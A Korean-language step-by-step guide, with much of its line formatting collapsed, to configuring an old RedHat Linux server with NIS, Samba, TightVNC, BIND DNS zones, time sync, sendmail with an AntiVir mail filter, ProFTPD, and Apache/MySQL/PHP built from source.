    # allow connections from local host -- necessaryhost 127.0.0.1# same as 255.255.255.255 127.0.0.1## allow connections from any host# on the 218.235.99.0 network255.255.255.0   218.235.99.0
    ----------------------------------------------------------------    # vi /etc/ypserv.conf-다음의 내용을--------------------------------------------------
    # *     : * : *             : none
    -아래처럼 바꾼다------------------------------------------------
    *       : * : *             : none
    ----------------------------------------------------------------[ 마스터 서버 ]슬레이브 서버 목록 파일을 만든다    # vi /var/yp/ypservers-다음을 작성----------------------------------------------------
    ns.sorii.com
    ----------------------------------------------------------------맵DB를 생성    # /usr/lib/yp/ypinit -m    이후에 슬레이브로 사용될 서버들의 host이름까지 추가한 후 Ctrl+D를 눌러 db생성마스터가 갱신될 때 슬레이브 서버도 같이 갱신시키기 원하면 NOPUSH옵션을 해제한다.    # vi /var/yp/Makefile-다음의 내용을--------------------------------------------------
    NOPUSH=true
    -아래처럼 바꾼다------------------------------------------------
    NOPUSH=false
    ----------------------------------------------------------------매우 느릴 수 있으므로 NOPUSH옵션은 켜두는 것이 좋다.대신 마스터가 make하면 슬레이브쪽에서도 make하는 것이 좋다이후부터 맵DB를 갱신하기 위해서는    # cd /var/yp/    # make[ 슬레이브 서버 ]마스터 서버를 확인    # ypwhich -m맵DB를 동기화    # /usr/lib/yp/ypinit -s home이후부터 맵DB를 갱신하기 위해서는    # cd /var/yp/    # make[ 마스터 슬레이브 공통 ]재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep yp    목록에 없으면 추가한다.    # chkconfig --add ypserv    # chkconfig --add yppasswdd    # chkconfig --add ypxfrd    서비스를 활성 시킨다.    # chkconfig ypserv on    # chkconfig yppasswdd on    # chkconfig ypxfrd on서버가 실행 중인지 확인    # rpcinfo -u localhost ypserv[ 마스터, 슬레이브, 클라이언트 공통 ]클라이언트가 실행 중인지 확인    # rpcinfo -u localhost ypbind================================================================================윈도우 클라이언트에서 쉽게 접근 가능하도록 삼바 설정--------------------------------------------------------------------------------SMB는 다음과 같이 설치된다.    워크그룹 이름 : sorii-lan    마스터 서버   : home.sorii.com    슬레이브 서버 : *.sorii.com마스터 서버에서만 계정을 추가 삭제하고 WINS와 도메인 서버로 구성하여슬레이브 서버는 마스터의 로그인 정보를 사용하도록 한다.삼바 설정 파일 수정    # vi /etc/samba/smb.conf-마스터 서버는 첨부된 마스터 smb.conf를 참고---------------------슬레이브 서버는 첨부된 슬레이브 smb.conf를 참고----------------    슬레이브 서버는 'server string = '항목에 적당한 서버이름을 넣는다    공유될 폴더에 관한 설정을 수정하려면 '== Share Definitions =='아래의 항목을 수정한다실행 및 확인    # /etc/init.d/smb start    윈도우 클라이언트의 탐색기에서 '\\xxx.xxx.xxx.xxx'나 '\\x.sorii.com'으로 접속해본다재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep smb    목록에 없으면 추가한다.    # chkconfig --add smb    서비스를 활성 시킨다.    # chkconfig smb on================================================================================원격에서 X윈도우로 관리가 가능한 TightVNC를 설치한다. (기존의 VNC는 사용하지 않음)--------------------------------------------------------------------------------TightVNC 서버 버전 다운 받기    http://www.tightvnc.com/download.html서버 rpm 설치    # rpm -Uvh tightvnc-server-1.2.9-1.i386.rpm패스워드 생성    # vncpasswd    암호 두번 입력 후 읽기 전용 암호도 설정기본 수행 설정 파일 편집    # vi /etc/sysconfig/vncservers-다음을 마지막에 추가-------------------------------------------
    VNCSERVERS="10:root"
    ----------------------------------------------------------------VNC서버를 실행    # /etc/init.d/vncserver start환경변수 문제로 데몬 서비스로 시작하지 못하는 경우가 많으므로터미널로 로그인 후 수동으로 시작하여야 한다.윈도우용 클라이언트를 다운로드 받아서 'Fast Compression'으로 접속한다윈도우에서 TightVNC로 접속할 때에는    host.domain:10을 사용해서 접속VNC를 통해 시스템 관리가 가능함한번 로그인 되면 Xvnc가 계속 떠있으므로 로그아웃하지 않으면 세션은 그냥 보존된다.따라서 접속을 끊기 전에 '화면 잠금'을 하는 것이 안전하다.================================================================================콘솔에서 한글을 사용하기 위해 jfbterm 설치 (콘솔 한글이 안될 경우)--------------------------------------------------------------------------------한글 패치된 jfbterm 다운 받기    http://download.kldp.net/kslack/jfbterm-0.3.12-han-2.tar.gz압축 해제후 설치    # tar xzvf jfbterm-0.3.12-han-2.tar.gz    # cd jfbterm-0.3.12-han-2/    # ./configure     # make     # make install     # cat termcap.jfbterm >> /etc/termcap     # tic terminfo.jfbterm설치 확인    jfbterm.conf에서 term 과 encoding 부분을 다음과 같은 확인 및 변경    # cd /usr/local/etc    # vi jfbterm.conf-다음을 확인 및 수정--------------------------------------------
    term : jfbtermencoding : G0,G1,iso646-1973irv,ksc5601-1987,,
    ----------------------------------------------------------------    혹시 무슨무슨 폰트가 없다고 나오면,    jfbterm.conf에서 fontset을 주석 처리 혹은 적절한 fontset을 설정.실행    # jfbterm로긴 때마다 자동실행    # vi /etc/profile-다음을 마지막에 추가-------------------------------------------
    tty_tmp=`tty | sed -e "s/\/dev\/\([ty]*\).*/\1/"` if [ "$tty_tmp" = "tty" ]; then     exec jfbterm fi
    ----------------------------------------------------------------================================================================================한글 man페이지 지원을 위한 less 재설치 (man 페이지가 정상적이지 않을 경우)--------------------------------------------------------------------------------한글 패치된 less 소스 받기    http://people.redhat.com/djoo/Koreanizing/less-378-8KR.src.rpm소스를 컴파일 하여 rpm 생성후 설치    # rpmbuild --rebuild less-378-8KR.src.rpm    # rpm -Uvh /usr/src/redhat/RPMS/i386/less-378-8KR.i386.rpm    rpmbuild가 없을 경우 rpm-build 패키지를 설치한다================================================================================도메인 네임 서버 설정--------------------------------------------------------------------------------로컬의 DNS을 변경할 때는 다음 파일을 편집    # vi /etc/resolv.conf-내용-----------------------------------------------------------
    search sorii.comnameserver 218.235.99.62nameserver 210.220.163.82nameserver 168.126.63.1
    ----------------------------------------------------------------zone을 등록하기 위해 설정 편집    # vi /etc/named.conf-내용-----------------------------------------------------------
    // dnscontrols {    inet 127.0.0.1 allow { localhost; } keys { rndckey; };};include "/etc/named.custom";include "/etc/rndc.key";zone "0.0.127.in-addr.arpa" {    type master;    file "0.0.127.in-addr.arpa";};zone "99.235.218.in-addr.arpa" {    type master;    file "99.235.218.in-addr.arpa";};zone "localhost" {    type master;    file "localhost.zone";};zone "sorii.com" {    type master;    file "sorii.com.zone";};zone "burumaru.com" {    type master;    file "sorii.com.zone";};zone "tinywolf.com" {    type master;    file "tinywolf.com.zone";};
    ----------------------------------------------------------------    # vi /etc/named.custom-내용-----------------------------------------------------------
    // localzone "." {    type hint;    file  "named.ca";};options {    directory "/var/named/";};
    ----------------------------------------------------------------각 존 파일을 추가    # vi /var/named/99.235.218.in-addr.arpa-내용-----------------------------------------------------------
    ; 218.235.99.0 / 255.255.255.0$TTL 86400@   IN  SOA ns.sorii.com.   root.sorii.com (            15  ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttk            )    IN  NS  ns.sorii.com.62  IN  PTR ns.sorii.com.63  IN  PTR home.sorii.com.68  IN  PTR ns.tinywolf.com.75  IN  PTR wireless.sorii.com.76  IN  PTR lan.sorii.com.
    ----------------------------------------------------------------    # vi /var/named/sorii.com.zone-내용-----------------------------------------------------------
    ; sorii.com$TTL 86400@   IN  SOA ns.sorii.com.   root.sorii.com (            5   ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttl            )    IN  A   211.233.5.48    IN  NS  ns.sorii.com.    IN  MX  10  mailns          IN  A   218.235.99.62home        IN  A   218.235.99.63mail        IN  A   218.235.99.64wireless    IN  A   218.235.99.75lan         IN  A   218.235.99.76www IN  CNAME   @ftp IN  CNAME   home*   IN  CNAME   home
    ----------------------------------------------------------------    # vi /var/named/tinywolf.com.zone-내용-----------------------------------------------------------
    ; tinywolf.com$TTL 86400@   IN  SOA ns.sorii.com.  root.tinywolf.com (            2   ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttl            )    IN  A   218.235.99.68    IN  NS  ns.tinywolf.com.    IN  MX  10  mail.sorii.com.ns      IN  A   218.235.99.68home    IN  A   218.235.99.68www     IN  CNAME   homeftp     IN  CNAME   homemail    IN  CNAME   mail.sorii.com.
    ----------------------------------------------------------------DNS 서버에 관계된 파일의 위치    /etc/rndc.conf    /etc/rndc.key    /etc/named.conf    /etc/resolv.conf    /var/named/*서비스 시작    # /etc/init.d/named start재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep named    목록에 없으면 추가한다.    # chkconfig --add named    서비스를 활성 시킨다.    # chkconfig named on================================================================================타임 서비스와 시간 동기화 (네트웤 타임 동기화가 없을 경우)--------------------------------------------------------------------------------시간을 동기화 시키는 스크립트 작성    # vi /etc/init.d/nettime-내용-----------------------------------------------------------
    #!/bin/bash# primary와 secondary 타임서버를 설정time_server1="time.kriss.re.kr"time_server2="time.nuri.net"# 비교할 시간(10분 오차로 비교)과 되돌릴 시간 지정old_time=`date --date '10 minutes ago' +%Y%m%d%H%M%S`old_time_for_undo=`date '+%Y-%m-%d %H:%M:%S'`# primary에 시간을 맞춤echo -n "시간 동기화 : $time_server1"ntpdate $time_server1 > /dev/null 2>&1server_fail=$?new_time=`date +%Y%m%d%H%M%S`if [ $server_fail != 0 ] || [ $new_time -lt $old_time ]; then    echo -e "\t[실패]\t$new_time"    # secondary에 시간을 맞춤    echo -n "시간 동기화 : $time_server2"    ntpdate $time_server2 > /dev/null 2>&1    server_fail=$?    new_time=`date +%Y%m%d%H%M%S`    if [ $server_fail != 0 ] || [ $new_time -lt $old_time ]; then        echo -e "\t[실패]\t$new_time"        # 둘 다 실패시 이전 시간으로 돌림        echo "이전 시간으로 돌림"        date -s "$old_time_for_undo" > /dev/null    else        echo -e "\t[성공]"    fielse    echo -e "\t[성공]"fiecho -n "시스템 현재 시간 : "date
    ----------------------------------------------------------------정기적으로 타임서버와 서버의 시간을 동기화 시킨다.    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매달 1일 3시 : 타임서버와 시간 동기화00 03 01      *  *      echo "매달 1일 3시: 타임서버와 시간 동기화" > /dev/tty200 03 01      *  *      /etc/init.d/nettime
    ----------------------------------------------------------------================================================================================메일 서버와 메일 백신 설정--------------------------------------------------------------------------------재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep sendmail    # chkconfig --list | grep ipop3    # chkconfig --list | grep pop3s    # chkconfig --list | grep imap    # chkconfig --list | grep imaps    목록에 없으면 추가한다.    # chkconfig --add sendmail    # chkconfig --add ipop3    # chkconfig --add pop3s    # chkconfig --add imap    # chkconfig --add imaps    서비스를 활성 시킨다.    # chkconfig sendmail on    # chkconfig ipop3 on    # chkconfig pop3s on    # chkconfig imap on    # chkconfig imaps on메일을 받을 수 있는 호스트 설정    # vi /etc/mail/local-host-names-다음을 마지막에 추가-------------------------------------------
    sorii.commail.sorii.comburumaru.commail.burumaru.comtinywolf.commail.tinywolf.com
    ----------------------------------------------------------------별칭을 추가 및 관리    # vi /etc/aliases-다음을 마지막에 추가-------------------------------------------
    # Person who should get root's mailroot:           mkkim,tinywolfhome:           mkkim# Aliasesceo:            kimjwsorii:          kimjw,thubanskwebmaster:      thubansk
    ----------------------------------------------------------------    # newaliases인증기능 활성시킬려면 다음의 파일을 편집    # vi /etc/mail/sendmail.mc-다음의 내용을--------------------------------------------------
    dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnldnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnlDAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')dnl
    -아래처럼 바꾼다------------------------------------------------
    TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnldefine(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnlDAEMON_OPTIONS(`Port=smtp,Addr=0.0.0.0, Name=MTA')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf메일 서버를 재시작한다.    # /etc/init.d/sendmail restart필터링을 가능케 하기 위해 sendmail-devel패키지와 소스를 설치설치CD : RedHat9 cd3 RPMS    sendmail-devel-8.12.8-4.i386.rpm다운받는 곳 : http://rpmfind.net/에서 sendmail로 검색 후 RedHat9용 최신 버전을 찾는다.    sendmail-8.12.8-9.90.src.rpm    sendmail-8.12.8-9.90.i386.rpm    sendmail-cf-8.12.8-9.90.i386.rpm    sendmail-devel-8.12.8-9.90.i386.rpmroot로 소유권 변경후 설치    # rpm -qa | grep sendmail    버전을 검사한 후 서로 버전 다를 경우 전부 설치한다    같은 버전일 경우 없는 것과 소스만 설치한다    # rpm -Uvh sendmail-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-cf-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-devel-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-8.12.8-9.90.src.rpm소스 컴파일    # cd /usr/src/redhat/SPECS/    # rpmbuild -bc sendmail.spec    rpmbuild가 없을 경우 rpm-build 패키지를 설치한다    컴파일시 요구되는 패키지가 있으면 전부 설치한다    설치된 rpm안의 내용물이 어떤 것인지 보려면 'rpm -ql <패키지 이름>'을 이용한다메일로 퍼지는 바이러스를 막기 위해 AntiVir 백신 설치다운받는 곳 : http://www.hbedv.com/에서 'AntiVir Milter for Sendmail Linux'를 다운받는다    avlxmlt.tgz설치    # tar xzvf avlxmlt.tgz    # cd antivir-milter-1.0.6    # mkdir /usr/lib/AntiVir    # cp bin/avmilter /usr/sbin    # cp script/avq /usr/lib/AntiVir    # ln -s /usr/lib/AntiVir/avq /usr/sbin/avq    # cp bin/antivir /usr/lib/AntiVir    # ln -s /usr/lib/AntiVir/antivir /usr/sbin/antivir    # cp vdf/antivir.vdf /usr/lib/AntiVir    # cp etc/avmilter.conf /etc    # cp etc/antivir.conf /etc    # cp init/rc.avmilter /etc/init.d/avmilter    # chkconfig --add avmilter라이센스키를 http://www.hbedv.com/private/에서 메일로 발급 받아서 복사해 넣는다.    hdedv.key    lic_info.txt복사    # cp hbedv.key lic_info.txt /usr/lib/AntiVir    # cp hbedv.key /usr/lib/AntiVir/avmgate.key    # chown uucp:uucp /usr/lib/AntiVir/avmgate.key백신 필터용 스풀 디렉토리를 생성한다    # mkdir /var/spool/avmilter    # cd /var/spool/avmilter    # mkdir incoming outgoing rejected    # chown -R uucp:uucp /var/spool/avmilter    # chmod -R 700 /var/spool/avmilter인증기능 활성시킬려면 다음의 파일을 편집    # vi /etc/mail/sendmail.mc-다음을 마지막에 추가-------------------------------------------
    INPUT_MAIL_FILTER(`avmilter',`S=inet:3333@localhost,F=T,T=S:10m;R:10m;E:5m')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf백신 서비스를 시작한다.    # /etc/init.d/avmilter start메일 서버를 재시작한다.    # /etc/init.d/sendmail restart백신 동작을 확인    # netstat -atnp | grep avmilter백신이 정기적으로 업데이트되고 실행될 수 있도록 cron을 추가    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매일 5시 : /home 바이러스 검사00 05  *      *  *      echo "[cron] daily    AM 05h : /home virus check" > /dev/tty200 05  *      *  *      /usr/lib/AntiVir/antivir --allfiles -s -nolnk /home# 매 홀수날 2시 : 바이러스 패턴 업데이트00 02 1-31/2  *  *      echo "[cron] odd days AM 02h : update virus pattern" > /dev/tty200 02 1-31/2  *  *      /usr/lib/AntiVir/antivir --update# 매주 일요일 4시 : 감염되어 거부된 메일 삭제00 04  *      * sun     echo "[cron] sunday   AM 04h : delete rejected mails" > /dev/tty200 04  *      * sun     rm -f /var/spool/avmilter/rejected/*
    ----------------------------------------------------------------백신이 바이러스를 발견할 경우 보낸 사람과 받는 사람 모두에게 경고를 보냄    # vi /etc/avmilter.conf-다음의 내용을--------------------------------------------------
    # VirusAlertToRcpt                 NO# VirusAlertToSender               NO
    -아래처럼 바꾼다------------------------------------------------
    VirusAlertToRcpt                 YESVirusAlertToSender               YES
    ----------------------------------------------------------------백신이 보내는 경고 메일을 한글로 보내도록 템플릿 수정    # mkdir /usr/lib/AntiVir/templates	# cd /usr/lib/AntiVir/templates	# vi patho-administrator-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *LICENSE발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicious mail sent through your server which was not scanned because:AntiVir가 당신의 서버로 보내진 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.It has been quarantined with the following queue id:아래의 큐이름으로 격리 보관됨:        QUEUEID
    ----------------------------------------------------------------    # vi patho-recipient-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicious mail addressed to you, which was not scanned because:AntiVir가 당신에게로 보내진 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.
    ----------------------------------------------------------------    # vi patho-sender-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신제목: "SUBJECT"]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicous mail from your address, which was not scanned because:AntiVir가 당신의 주소에서 보내져온 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.다음과 같은 조치를 권해드립니다.        ADVICE
    ----------------------------------------------------------------    # vi virus-administrator-내용-----------------------------------------------------------
    Subject: 바이러스 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *LICENSE발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail sent through your server:AntiVir가 당신의 서버로 보내진 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 전송되지 않았습니다.It has been quarantined with the following queue id:아래의 큐이름으로 격리 보관됨:        QUEUEID
    ----------------------------------------------------------------    # vi virus-recipient-내용-----------------------------------------------------------
    Subject: 바이러스 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail addressed to you:AntiVir가 당신에게로 보내진 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 수신 거부 되었습니다.
    ----------------------------------------------------------------    # vi virus-sender-내용-----------------------------------------------------------
    Subject: 바이러스 경고! [발신제목: "SUBJECT"]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail from your address:AntiVir가 당신의 주소에서 보내져온 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 전송되지 않았습니다.Please remove any potential malicious software from your computer beforesending a new mail with attachments.메일에 첨부되어 전송된 악의적인 소프트웨어를 제거해 주시기 바랍니다.
    ----------------------------------------------------------------백신의 테스트http://www.eicar.org/anti_virus_test_file.htm에서 eicar.com을 다운 받아서메일에 첨부하여 메일 서버로 보내본다.다음의 제목으로 시작하는 메일을 받았다면 백신은 정상 작동하는 것이다.    AntiVir ALERT ...백신에 관한 내용은 http://kltp.kldp.org/를 참고펄로 메일 필터를 제작하여 사용하기 위해서 다음의 펄모듈을 다운받는다    http://www.cpan.org/authors/id/G/GA/GAAS/MIME-Base64-3.00.tar.gz    http://www.cpan.org/authors/id/C/CY/CYING/Sendmail-Milter-0.18.tar.gzBase64 모듈 설치    # tar xzvf MIME-Base64-3.00.tar.gz    # cd MIME-Base64-3.00    # perl Makefile.PL    # make    # make installMilter 모듈 설치. 반드시 sendmail소스 컴파일이 먼저 되어 있어야 한다.    # tar xzvf Sendmail-Milter-0.18.tar.gz    # cd Sendmail-Milter-0.18    # perl Makefile.PL /usr/src/redhat/BUILD/sendmail-8.12.8/ /usr/src/redhat/BUILD/sendmail-8.12.8/obj.Linux.2.4.20-8.i686/    # make    # make installperl로 milter 생성    # vi /etc/mail/SoriiMilter.pl-첨부된 SoriiMilter.pl 소스 참고--------------------------------재부팅 때마다 시작하도록 rc.local에 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    perl /etc/mail/SoriiMilter.pl SoriiMilter /etc/mail/sendmail.cf &
    ----------------------------------------------------------------로그파일을 생성한다    # touch /var/log/milterlog    로그를 모니터링할 수 있다    # tail -f /var/log/milterlog정기적으로 로그를 청소하도록 cron에 추가한다.    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매주 월요일 4시 : 밀터로그를 청소한다00 04  *      * mon     echo "[cron] monday   AM 04h : clear milter log" > /dev/tty200 04  *      * mon     (echo -n "Milter Log Clear"; date) > /var/log/milterlog
    ----------------------------------------------------------------milter가 백신보다 먼저 실행될 수 있도록 설정 수정    # vi /etc/mail/sendmail.mc-다음의 앞줄에--------------------------------------------------
    INPUT_MAIL_FILTER(`avmilter',`S=inet:3333@localhost,F=T,T=S:10m;R:10m;E:5m')dnl
    -다음을 추가----------------------------------------------------
    INPUT_MAIL_FILTER(`SoriiMilter', `S=local:/var/run/soriimilter.sock')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cfmilter를 백그라운드로 실행한다.    # perl /etc/mail/perlmilter/SoriiMilter.pl SoriiMilter /etc/mail/sendmail.cf &그냥 재부팅하여 자동으로 실행 되도록 하여도 된다.실행이 되었는지 확인한다.    # ps -Al | grep perl메일 서버를 재시작한다.    # /etc/init.d/sendmail restart-첨부된 perl 정규식 참고----------------------------------------================================================================================메일 서버를 제외한 서버들의 백신 설정--------------------------------------------------------------------------------윈도우와 공유되는 폴더의 바이러스를 막기 위해 AntiVir 백신 설치다운받는 곳 : http://www.hbedv.com/에서 'AntiVir Linux Server'를 다운받는다    avlxsrv.tgz설치    # tar xzvf avlxsrv.tgz    # cd antivir-server-2.0.9    # ./install    이후엔 대화형으로 진행된다.    대부분 디폴트 값을 선택하고 autoupdate항목에서 y를 한다백신이 실행될 수 있도록 cron을 추가    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매일 5시 : /home 바이러스 검사00 05  *      *  *      echo "[cron] daily    AM 05h : /home virus check" > /dev/tty200 05  *      *  *      /usr/lib/AntiVir/antivir --allfiles -s -nolnk /home
    ----------------------------------------------------------------정해진 주기 말고 업데이트를 설정하고 싶으면 자동 업데이터를 정지시키고 cron으로 업데이트 한다    # /usr/lib/AntiVir/avupdater stop    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매 홀수날 2시 : 바이러스 패턴 업데이트00 02 1-31/2  *  *      echo "[cron] odd days AM 02h : update virus pattern" > /dev/tty200 02 1-31/2  *  *      /usr/lib/AntiVir/antivir --update
    ----------------------------------------------------------------================================================================================FTP 서버 설정--------------------------------------------------------------------------------proftpd를 설치한다.설정파일을 수정    # vi /etc/proftpd/proftpd.conf-다음 각 항목들을 수정하거나 추가-------------------------------
    ServerName              "SORIi FTP Server"ServerType              standaloneServerAdmin             ftp@sorii.comDeferWelcome            onMultilineRFC2228        onDefaultRoot             /homeMaxClients              10  "Sorry, maximum users %m -- try again later. 사용자가 많습니다 -- 잠시 후 다시 시도해 주십시오."MaxClientsPerHost       2   "Only one client is allowed to connect! 오직 하나의 연결만 가능합니다!"DisplayConnect          /home/.proftpd/connect.msgDisplayLogin            /.proftpd/welcome.msgDisplayFirstChdir       .message<Anonymous ~ftp># 익명접속 허용하지 않음  <Limit LOGIN>   DenyAll  </Limit></Anonymous>
    ----------------------------------------------------------------    # mkdir /home/.proftpd    # vi /home/.proftpd/connect.msg-내용-----------------------------------------------------------
    ************************************************        Welcome to %V        admin E-mail : %E************************************************    익명 접속을 허용하지 않습니다.    Anonymous user cannot login this server.
    ----------------------------------------------------------------    # vi /home/.proftpd/welcome.msg-내용-----------------------------------------------------------
    ************************************************        Welcome to %V        admin E-mail : %E************************************************    접속자      : %U    로그인 시간 : %T    접속 IP     : %R    접속자 수   : 현재 (%N) / 최대 (%M)    외부 사용자의 접근을 제한합니다.    호스트당 1개의 접속만 허용합니다.    웹호스팅 디렉토리는        /public_html/%U/입니다.    현재 남은 용량은 %f입니다.
    ----------------------------------------------------------------서버 재실행 및 서비스 등록    # /etc/init.d/proftpd restart    # chkconfig proftpd on================================================================================Web 서버 설정--------------------------------------------------------------------------------일단 깔려있는 패키지를 전부 제거실행중인 프로세스를 전부 찾아서 종료시키고 rpm패키지를 제거한다    # ps -ef | grep httpd    # killall httpd    # rpm -qa | grep apache    # rpm -e <패키지 이름> --nodeps    위와 같은 식으로 apache, mysql, php를 전부 제거    mysql같은 경우 몇몇 디렉토리나 파일이 남아 있다면 찾아서 제거.    /etc/my.cnf, /var/lib/mysql, /var/local/mysql 등.MySQL 설치다운받는 곳 : http://www.mysql.com/downloads/mysql-4.0.html에서 'Tarball (tar.gz)'을 다운받는다    mysql-4.0.18.tar.gz데이타베이스는 /home에 위치하도록 한다. (root파티션이 차는 것을 막기 위해)    # mv mysql-4.0.18.tar.gz /usr/local/share    # tar xzvf mysql-4.0.18.tar.gz    # cd mysql-4.0.18    # ./configure --prefix=/usr/local/mysql --localstatedir=/home/.mysqldata --with-charset=euc_kr    # make && make install    # cd /usr/local/mysql    # cp support-files/my-medium.cnf /etc/my.cnf    # ./bin/mysql_install_db    # chown -R mysql:mysql /usr/local/mysql    # chown -R mysql:mysql /home/.mysqldata    # ./bin/mysqld_safe &아파치를 설치한다다운받는 곳 : http://httpd.apache.org/download.cgi 여기서 'httpd-2.0.x.tar.gz'의 최신버전을 다운받는다.    httpd-2.0.48.tar.gz    # tar xzvf httpd-2.0.48.tar.gz    # cd httpd-2.0.48    # ./configure --enable-layout=RedHat --enable-rule=SHARED_CORE --enable-mods-shared=all --disable-info    # make && make install    # cd /etc/httpd/conf    # cp httpd-std.conf httpd.conf    # cp highperformance-std.conf highperformance.conf    # cp ssl-std.conf ssl.conf    # cp /usr/sbin/apachectl /etc/init.d/httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc0.d/S90httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc3.d/S89httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc4.d/S89httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc5.d/S89httpd    # vi /etc/httpd/conf/httpd.conf-다음의 내용이 있는지 확인--------------------------------------
    LoadModule rewrite_module libexec/mod_rewrite.so
    -다음의 내용을--------------------------------------------------
    ServerAdmin you@example.com# ServerName www.example.com:80AddDefaultCharset ISO-8859-1# DefaultLanguage nl
    -아래처럼 바꾼다------------------------------------------------
    ServerAdmin webmaster@sorii.comServerName home.sorii.com:80AddDefaultCharset EUC-KRDefaultLanguage ko
    -그리고 다음을 마지막에 추가------------------------------------
    NameVirtualHost *<VirtualHost *>    ServerName home.sorii.com    ServerAdmin home@sorii.com    DocumentRoot /var/www/html</VirtualHost><VirtualHost *>    ServerName board.sorii.com    ServerAdmin home@sorii.com    DocumentRoot /home/public_html/phpBB2</VirtualHost><VirtualHost *>    ServerName sorii.com    # 모든 호스트에 대해    ServerAlias *.sorii.com    ServerAdmin home@sorii.com    # 호스트명이 생략 되었을 경우에는 home.sorii.com으로    Redirect /index.html http://home.sorii.com/    # 호스트명을 매칭 시켜서 해당 폴더로 리다이렉팅    RewriteEngine on    RewriteCond   %{HTTP_HOST}         ^[^.]+\.sorii\.com$    RewriteRule   ^(.+)                %{HTTP_HOST}$1     [C]    RewriteRule   ^([^.]+)\.sorii\.com(.*) /home/public_html/$1$2</VirtualHost>
    ----------------------------------------------------------------이미지 지원을 위해 freetype과 GD를 설치다운받는 곳 : http://www.freetype.org/에서 찾아들어가서 'freetype의 stable 최신 소스 tar.gz'를 다운받는다    freetype-2.1.7.tar.gz다운받는 곳 : http://www.boutell.com/gd/에서 'Download .tar.gz'를 다운 받는다    gd-2.0.22.tar.gz다음의 라이브러리들이 깔려 있는지 확인한다    libpng    libpng-devel    zlib    zlib-devel    libjpeg    libjpeg-devel    libjpeg6a    # rpm -q <확인할 패키지>    없는 것이 있을 경우 찾아서 설치한다.FreeType을 설치한다    # tar xzvf freetype-2.1.7.tar.gz    # cd freetype-2.1.7    # ./configure    # make && make install    # cd ..GD 라이브러리를 설치한다    # tar xzvf gd-2.0.22.tar.gz    # cd gd-2.0.22    # vi Makefile    # ./configure    # make && make installPHP를 설치한다    # tar xzvf php-4.3.4.tar.gz    # cd php-4.3.4    # ./configure --with-apxs2=/usr/sbin/apxs --with-config-file-path=/etc --with-mysql --with-mod-charset --with-language=korean --with-charset=euc_kr --with-zlib --with-gd=/usr/local --with-jepg-dir=/usr --with-ttf=/usr/local --enable-ftp --enable-calendar    각 함목 중 --with-mysql은 그냥 추가하고    나머지 --with-xx항목은 해당 라이브러리 항목이 설치된 디렉토리를 적는다.    rpm으로 설치된 라이브러리는 /usr아래에 있고 소스로 설치된 항목은 /usr/local아래에 있다.    /usr/lib에서 라이브러리를 찾아서 있으면 /usr인 것이고 /usr/local/lib에 있으면 /usr/local로 하면 된다.    # make && make install    # cp php.ini-dist /etc/php.ini아파치에서 php를 사용할 수 있도록 설정한다    # vi 